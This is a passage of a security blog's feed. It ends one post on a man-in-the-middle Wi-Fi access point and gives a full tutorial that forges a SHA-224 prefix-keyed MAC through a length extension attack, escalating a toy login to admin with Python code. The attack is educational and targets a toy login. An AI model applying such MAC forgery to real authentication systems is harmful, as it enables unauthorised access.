&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromfd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nfqueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fd&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;nfqueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;nfqueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unbind&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="finally-thoughts"&gt;Finally thoughts&lt;/h1&gt;
&lt;p&gt;I didn’t explore how to trick the target to connect us instead the access point. It has its little tricks but for this post was too much.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; really made everything easy but it falls short when we need to handle and customize how we want to responde to each DNS query. We cast some &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;iptables&lt;/span&gt;&lt;/code&gt; spells but clearly &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; is not designed for this use case.&lt;/p&gt;
&lt;p&gt;Nevertheless it was an opportunity to play with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;NFQUEUE&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And on top of all of that: &lt;strong&gt;sniff&lt;/strong&gt;, always work with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;wireshark&lt;/span&gt;&lt;/code&gt; open on &lt;strong&gt;both&lt;/strong&gt; interfaces. Not only gives you insight of what is happening or why it is not working, but also you may found things that you &lt;strong&gt;never&lt;/strong&gt; thought before.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2023/10/20/Man-in-the-Middle-Access-Point.html" rel="alternate" type="text/html" title="Man in the Middle Access Point"/>
    <category term="hostapd" label="hostapd"/>
    <category term="dnsmasq" label="dnsmasq"/>
    <category term="iptables" label="iptables"/>
    <category term="route" label="route"/>
    <category term="ap" label="ap"/>
    <category term="wifi" label="wifi"/>
    <category term="mitm" label="mitm"/>
    <published>2023-10-20T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2023/04/09/Hash-Length-Extension-Attack-on-SHA224.html</id>
    <title>Follow up: Length Extension Attack on SHA-224</title>
    <updated>2023-04-09T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In the &lt;a href="/articles/2023/04/05/Hash-Length-Extension-Attack.html"&gt;previous post&lt;/a&gt; we reviewed why and how an extension length attack is possible on some hash function and how we can use it to break a prefix-keyed MAC.&lt;/p&gt;
&lt;p&gt;Long story short: when the full internal state of the hashing is exposed, an extension attack is possibly.&lt;/p&gt;
&lt;p&gt;So hash functions that &lt;strong&gt;don’t&lt;/strong&gt; expose their internal state are okay, right?&lt;/p&gt;
&lt;p&gt;Yes in general but the &lt;em&gt;devil is in the details&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;SHA-224 does not expose its full state and it is one of those &lt;em&gt;“safe”&lt;/em&gt; hash functions (sometimes it is found in the literature as such) &lt;strong&gt;but…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this quick post we will see why SHA-224 is vulnerable to &lt;em&gt;length extension attack&lt;/em&gt; &lt;strong&gt;even&lt;/strong&gt; if its internal state is not fully exposed.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="what-is-sha-224"&gt;What is SHA-224?&lt;/h2&gt;
&lt;p&gt;SHA-224 is based on SHA-256.&lt;/p&gt;
&lt;p&gt;It has 8 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; registers like SHA-256 but the hash digest is made of all except the last register, yielding hashes of 224 bits instead of 256 bits.&lt;/p&gt;
&lt;p&gt;At first glance this truncated output should prevent a length extension attack but take a closer look.&lt;/p&gt;
&lt;p&gt;Only 32 bits are missing!&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; from cryptonita import B
&gt;&gt;&gt; from cryptonita.toys.hashes.sha256 import sha224
&gt;&gt;&gt; from cryptonita.toys.hashes.keyed import prefix_key_hash

&gt;&gt;&gt; key = B('foobar') # unknown

&gt;&gt;&gt; def login(login_req, unverified_hash, verbose=True):
...     h = prefix_key_hash(sha224, key, login_req)
...     if h != unverified_hash:
...         if verbose: print(f"Bad MAC. Login aborted. Ours: {h}, Theirs: {unverified_hash}")
...         return False
...
...     if b"admin=True" in login_req.split(b";"):
...         if verbose: print("Logged as admin")
...     else:
...         if verbose: print("Logged as normal user")
...
...     return True

&gt;&gt;&gt; def pad_like_sha224(msg_length):
...     bit_len = msg_length * 8
...
...     # Padding used by SHA224
...     padding = b'A' * msg_length
...     padding += b'\x80'
...     while (len(padding) * 8 + 64) % 512 != 0:
...         padding += b'\x00'
...
...     padding += bit_len.to_bytes(8, 'big')
...
...     return padding[msg_length:]

&gt;&gt;&gt; from cryptonita.conv import repack
&gt;&gt;&gt; def extract_hash_fun_state(hash_hex):
...     words_bytes = B(hash_hex, encoding=16).nblocks(4)
...
...     return repack(words_bytes, ifmt='4s', ofmt='&gt;I')
--&gt;
&lt;h2 id="scenario-setup"&gt;Scenario setup&lt;/h2&gt;
&lt;p&gt;Like in the previous post, we will assume a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function that verifies the authenticity of a login request, this time using SHA-224&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user=john;comment=cheese&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prefix_key_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;normal&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-attack"&gt;The attack&lt;/h2&gt;
&lt;p&gt;From the digest we extract 7 of the 8 state registers. Only 2 unknowns remains: the length of the original message (including the secret key) and the value of the 8th register &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;h7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;extract_hash_fun_state&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%08x%08x%08x%08x%08x%08x%08x&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;mac&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkJydXRlLWZvcmNpbmcgYDJeezMyfWAgaXMgcGVyZmVjdGx5IHBvc3NpYmxlIGJ1dCBhIGxpdHRsZSBzbG93IGZvciBtZSBzbyBJCndvdWxkIGRvIHNvbWUgY2hlYXRpbmc6IHRoZSBtYWdpYyBudW1iZXIgNzc3NDg5MTAwIHdhcyBwaWNrZWQgb24gcHVycG9zZQp0byBzcGVlZHVwIHRoZSB0aGluZ3MuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJydXRlLWZvcmNpbmcgYDJeezMyfWAgaXMgcGVyZmVjdGx5IHBvc3NpYmxlIGJ1dCBhIGxpdHRsZSBzbG93IGZvciBtZSBzbyBJCndvdWxkIGRvIHNvbWUgY2hlYXRpbmc6IHRoZSBtYWdpYyBudW1iZXIgNzc3NDg5MTAwIHdhcyBwaWNrZWQgb24gcHVycG9zZQp0byBzcGVlZHVwIHRoZSB0aGluZ3MuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Brute-forcing \(2^{32}\) is perfectly possible but a little slow for me so I would do some cheating: the magic number 777489100 was picked on purpose to speedup the things.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We compute the &lt;em&gt;Cartesian product&lt;/em&gt; of the two &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to describe any possible message length and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;h7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; combination:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.space&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;product&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;msg_length_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;h7_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;777489100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;params_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h7_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg_length_space&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As before we need an &lt;em&gt;oracle&lt;/em&gt; function to tell us if a particular message length/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;h7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; combination produced a valid MAC or not:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;h7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pad_like_sha224&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha224&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;forged_message_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Explore the &lt;em&gt;parameters space&lt;/em&gt;…&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;brute_forced_h7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;guessed_msg_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brute_forced_h7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;guessed_msg_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;777489071&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And finally forge the MAC and profit!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;admin=True&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pad_like_sha224&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guessed_msg_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;new_login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha224&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;brute_forced_h7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;forged_message_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;guessed_msg_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-thoughts"&gt;Final thoughts&lt;/h2&gt;
&lt;p&gt;We were lucky: for SHA-224 only 32 bits are missing. Other truncated hashes are much harder to break.&lt;/p&gt;
&lt;p&gt;For example SHA-512/224 is the 224 bits version based on SHA-512: 228 bits are missing!&lt;/p&gt;
&lt;p&gt;Nevertheless take this as a lesson: &lt;strong&gt;do not overlook&lt;/strong&gt;, sometimes you may find vulnerabilities and attack vectors just by seeing the things closely.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2023/04/09/Hash-Length-Extension-Attack-on-SHA224.html" rel="alternate" type="text/html" title="Follow up: Length Extension Attack on SHA-224"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="hash" label="hash"/>
    <category term="extension" label="extension"/>
    <published>2023-04-09T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2023/04/05/Hash-Length-Extension-Attack.html</id>
    <title>Keyed Hash Length Extension Attack</title>
    <updated>2023-04-05T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;How can we know if a message is authentic or not?&lt;/p&gt;
&lt;p&gt;A trusted party with access to a private key \(k\) can compute an &lt;em&gt;authentication code&lt;/em&gt; or MAC.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9tYXRhc2Fuby9zZXQtNC1oYXNoZXMvaGFzaC12ZXJpZmllci1nZW5lcmljLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+CkNvbXB1dGUgdGhlICptZXNzYWdlIGF1dGhlbnRpY2F0aW9uIGNvZGUqIChNQUMpIGRvaW5nIGBIKGsg4oilIG0pYC4KCkluIHRoZW9yeSBvbmx5IHdobyBrbm93cyB0aGUgc2VjcmV0IGtleSBga2AgY2FuIGNyZWF0ZSBhbmQgdmVyaWZ5IHRob3NlLApidXQgbm8sIHRoaXMgc2NoZW1hIGVzIGJyb2tlbi4KClRoaXMgcG9zdCBjb3ZlcnMgKm1hdGFzYW5vIGNoYWxsZW5nZXMqIGZyb20KWzI4IHRvIDMwXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvNCkgc28gKnNwb2lsZXIgYWxlcnQqLgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
